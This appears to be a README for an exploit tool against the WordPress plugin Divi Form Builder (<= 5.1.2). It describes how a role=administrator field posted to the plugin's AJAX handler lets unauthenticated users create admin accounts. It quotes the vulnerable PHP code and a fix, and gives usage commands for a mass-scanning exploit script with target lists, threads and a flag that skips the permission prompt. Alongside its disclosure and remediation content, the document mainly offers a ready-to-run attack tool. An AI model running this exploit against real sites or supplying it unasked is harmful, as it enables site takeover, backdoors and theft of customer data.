
Divi Form Builder <= 5.1.2 — Unauthenticated Privilege Escalation via Role Injection
🔥 Vulnerability Summary
The WordPress plugin Divi Form Builder versions <= 5.1.2 is vulnerable to an unauthenticated privilege escalation vulnerability. This critical flaw allows unauthenticated attackers to create a new Administrator account directly through any Divi Form Builder form — including contact forms, quote forms, newsletter forms, or any other DFB-enabled form.
The vulnerability stems from the create_user() function in FormSubmissionHandler.php, which accepts the role parameter directly from user-submitted POST data without proper authorization or allowlist validation. The plugin only checks whether the submitted role exists in the system (e.g., administrator is a valid WordPress role) — it never checks whether the role is safe for public registration.
Breakthrough Discovery: The fb_nonce used by Divi Form Builder is a global shared nonce (wp_create_nonce('security')) — identical across all forms on the site. Furthermore, form_type=register can be overridden via POST to the shared AJAX handler. This means any DFB form (contact, quote, feedback, etc.) can be weaponized to trigger user registration with arbitrary role assignment.
🔍 Affected Plugin
🧨 What Attackers Can Do
🧪 Exploit Features
/wp-admin/admin-ajax.php?action=de_fb_ajax_submit_ajax_handlerrole=administrator alongside normal form fieldsresult.txt🧠 Vulnerable Code
// includes/shared/handlers/FormSubmissionHandler.php ~ line 2250
$role = isset($form_data['role']) ? sanitize_text_field($form_data['role']) : 'subscriber';
// ~ line 2278 — ONLY checks if role EXISTS, not if it is SAFE
$roles_obj = function_exists('wp_roles') ? wp_roles() : null;
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) && !isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← "administrator" EXISTS, so this check PASSES
}
// ~ line 2301 — Directly applies the injected role
$user = new WP_User($user_id);
$user->set_role($role); // ← PRIVILEGE ESCALATION!
🚀 Usage
python3 exploit.py -t http://target.com
python3 exploit.py -t https://target.com -u hacker -p Pass123! -e [email protected]
Create targets.txt:
target1.com
target2.com:8080
192.168.1.50
subdomain.target.com
python3 exploit.py -l targets.txt -T 20
🛠 Fix Recommendations
// SECURE: Allowlist only safe roles for public registration
$allowed_registration_roles = array('subscriber', 'contributor');
if (!in_array($role, $allowed_registration_roles, true)) {
$role = 'subscriber'; // ← Reject ALL dangerous roles
}
role hidden input from frontend forms entirelycurrent_user_can('create_users') capability checks for privileged roles🧠 Researcher
📚 References
🔒 Disclaimer:
This information is provided for educational and authorized penetration testing purposes only. Unauthorized exploitation of computer systems is illegal and unethical. Always obtain explicit written permission before testing any target you do not own.
| Capability | Impact |
|---|
| 🔑 Create admin account without login | Full Site Takeover |
| 📦 Access WooCommerce customer data | Data Breach |
| 💉 Edit plugin/theme PHP files | Remote Code Execution |
| 🕳️ Install hidden backdoors | Persistent Access |
| 👥 View all user data | Privacy Violation |
| Flag | Description |
|---|
-t, --target | Single target URL |
-l, --list | File with target list (one per line, http/https optional) |
-T, --threads | Threads for mass scan (default: 10) |
-o, --output | Output file for results (default: result.txt) |
-u, --username | Custom username for new account |
-p, --password | Custom password for new account |
-e, --email | Custom email for new account |
-v, --verbose | Verbose debug output |
--no-confirm | Skip permission confirmation prompt |